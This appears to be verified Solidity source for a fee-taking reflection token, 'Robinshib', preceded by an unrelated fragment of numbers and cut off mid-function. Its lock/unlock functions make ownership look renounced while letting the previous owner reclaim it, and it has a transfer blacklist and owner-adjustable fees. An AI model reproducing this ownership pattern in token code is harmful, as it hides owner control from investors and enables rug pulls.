-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2022-04-13 */ // SPDX-License-Identifier: Unlicensed pragma solidity 0.8.13; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Robinshib is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping(address => bool) public _isBlacklisted; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000000000 * (10**18); uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Robinshib"; string private _symbol = "RSHI"; uint8 private _decimals = 18; uint256 public _taxFee = 1; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 3; uint256 private _previousLiquidityFee = _liquidityFee; uint256 public _marketingFee = 3; address payable public marketingWallet = payable(0xc37C58FEc615a2653e9e59838C1F0eA7fBa0450d); // marketing wallet address uint256 private _previousMarketingFee = _marketingFee; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public swapTokensAtAmount = 200000000 * 10**18; uint256 public maxBuyTxAmount = 1000000000 * 10**18; uint256 public maxWalletToken = 2000000000 * 10**18; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() { _rOwned[owner()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[marketingWallet] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } //to recieve ETH from uniswapV2Router when swapping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0 && _marketingFee==0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _previousMarketingFee = _marketingFee; _taxFee = 0; _liquidityFee = 0; _marketingFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; _marketingFee = _previousMarketingFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlacklisted[from] && !_isBlacklisted[to], 'Blacklisted address'); if (from==uniswapV2Pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { require(amount <= maxBuyTxAmount, "Transfer amount exceeds the maxTxAmount."); uint256 contractBalanceRecepient = balanceOf(to); require(contractBalanceRecepient + amount <= maxWalletToken, "Exceeds maximum wallet token amount."); } // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= swapTokensAtAmount; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = swapTokensAtAmount; //add liquidity swapAndLiquify(contractTokenBalance); } //transfer amount, it will take tax, liquidity fee _tokenTransfer(from,to,amount); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 tokensForLiquidity = contractTokenBalance.mul(_liquidityFee).div(_liquidityFee.add(_marketingFee)); uint256 tokensForMarketing = contractTokenBalance.sub(tokensForLiquidity); // split the contract balance into halves uint256 half = tokensForLiquidity.div(2); uint256 otherHalf = tokensForLiquidity.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); // swap tokens for marketing swapTokensForEth(tokensForMarketing); marketingWallet.transfer(address(this).balance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount) private { if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) { removeAllFee(); } if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) { restoreAllFee(); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); (tTransferAmount, rTransferAmount) = takeMarketing(sender, tTransferAmount, rTransferAmount, tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function takeMarketing(address sender, uint256 tTransferAmount, uint256 rTransferAmount, uint256 tAmount) private returns (uint256, uint256) { if(_marketingFee==0) { return(tTransferAmount, rTransferAmount); } uint256 tMarketing = tAmount.div(100).mul(_marketingFee); uint256 rMarketing = tMarketing.mul(_getRate()); rTransferAmount = rTransferAmount.sub(rMarketing); tTransferAmount = tTransferAmount.sub(tMarketing); _rOwned[address(this)] = _rOwned[address(this)].add(rMarketing); emit Transfer(sender, address(this), tMarketing); return(tTransferAmount, rTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setMarketingWallet(address payable newWallet) external onlyOwner() { marketingWallet = newWallet; } function setFeePercent(uint256 taxFee, uint256 liquidityFee, uint256 marketingFee) external onlyOwner() { require(taxFee.add(liquidityFee).add(marketingFee) <= 20, "Fees too high"); _taxFee = taxFee; _liquidityFee = liquidityFee; _marketingFee = marketingFee; } function setSwapTokensAtAmount(uint256 newAmount) external onlyOwner() { swapTokensAtAmount = newAmount; } function setMaxBuyTxAmount(uint256 _maxTxAmount) external onlyOwner() { 